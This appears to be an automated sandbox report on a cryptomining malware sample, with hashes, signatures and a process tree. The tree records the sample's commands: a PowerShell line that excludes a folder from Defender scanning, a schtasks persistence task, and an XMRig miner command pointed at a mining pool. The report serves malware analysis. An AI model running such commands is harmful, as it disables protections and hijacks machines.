Analysis
- max time kernel
91s - max time network
127s - platform
windows10-2004_x64 - resource
win10v2004-20220901-en - resource tags
arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system - submitted
25/01/2023, 23:50
Static task
static1
Behavioral task
behavioral1
Sample
file.exe
Resource
win7-20221111-en
12 signatures
150 seconds
General
- Target file.exe
- Size 2.7MB
- Sample230125-3vkwqsbc75
- SHA256 f71c5f39ee84e6e4c7f647cc424e64b46f4e6cff081e6c153217670486056e98
- MD5 0978578bab20584de47a0bb6e1eff58b
- SHA1 e4fba06d1759ec87b4048ef1571a85d57b8b844a
- SHA512 7e18a97a59622875779fa936870d9e4e361d10471d76ff074864ab4525a9b4c7b60d740418f7366730ca7ed9d71fb8a095004c6c026db6e5f22ae1653cedf5ad
- SSDEEP 24576:nLGXfyAY+g9ZogVAQg6RZAhtWBbBN+HnquJoUzMu+V1oTrg+JniCsV8AXNTn:nLGu9ZogVNbW4bBIVlZV0hCsTXNT
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Signatures
- .NET Reactor proctector 2 IoCs
Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.
resource yara_rule behavioral2/memory/3564-142-0x0000000000F50000-0x00000000012E0000-memory.dmp net_reactor behavioral2/memory/3564-166-0x0000000000F50000-0x00000000012E0000-memory.dmp net_reactor - XMRig Miner payload 6 IoCs
resource yara_rule behavioral2/memory/1476-158-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral2/memory/1476-159-0x0000000140343234-mapping.dmp xmrig behavioral2/memory/1476-160-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral2/memory/1476-161-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral2/memory/1476-163-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral2/memory/1476-165-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation file.exe - Uses the VBS compiler for execution 1 TTPs
- Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 3564 set thread context of 1476 3564 file.exe 92 - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4204 schtasks.exe - Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 3564 file.exe 3564 file.exe 1124 powershell.exe 1124 powershell.exe 3564 file.exe 3564 file.exe - Suspicious behavior: LoadsDriver 1 IoCs
pid Process 644 Process not Found - Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 3564 file.exe Token: SeDebugPrivilege 1124 powershell.exe Token: SeLockMemoryPrivilege 1476 vbc.exe Token: SeLockMemoryPrivilege 1476 vbc.exe - Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 1476 vbc.exe - Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 3564 wrote to memory of 1124 3564 file.exe 80 PID 3564 wrote to memory of 1124 3564 file.exe 80 PID 3564 wrote to memory of 1068 3564 file.exe 89 PID 3564 wrote to memory of 1068 3564 file.exe 89 PID 1068 wrote to memory of 4204 1068 cmd.exe 91 PID 1068 wrote to memory of 4204 1068 cmd.exe 91 PID 3564 wrote to memory of 1476 3564 file.exe 92 PID 3564 wrote to memory of 1476 3564 file.exe 92 PID 3564 wrote to memory of 1476 3564 file.exe 92 PID 3564 wrote to memory of 1476 3564 file.exe 92 PID 3564 wrote to memory of 1476 3564 file.exe 92 PID 3564 wrote to memory of 1476 3564 file.exe 92 PID 3564 wrote to memory of 1476 3564 file.exe 92 PID 3564 wrote to memory of 1476 3564 file.exe 92 PID 3564 wrote to memory of 1476 3564 file.exe 92 PID 3564 wrote to memory of 1476 3564 file.exe 92 PID 3564 wrote to memory of 1476 3564 file.exe 92 PID 3564 wrote to memory of 1476 3564 file.exe 92 PID 3564 wrote to memory of 1476 3564 file.exe 92 PID 3564 wrote to memory of 1476 3564 file.exe 92
Processes
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C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"1⤵
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3564 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1124
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "TGTMAH" /tr "C:\ProgramData\tgtAudio\TGTMAH.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:1068 -
C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "TGTMAH" /tr "C:\ProgramData\tgtAudio\TGTMAH.exe"3⤵
- Creates scheduled task(s)
PID:4204
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:1476
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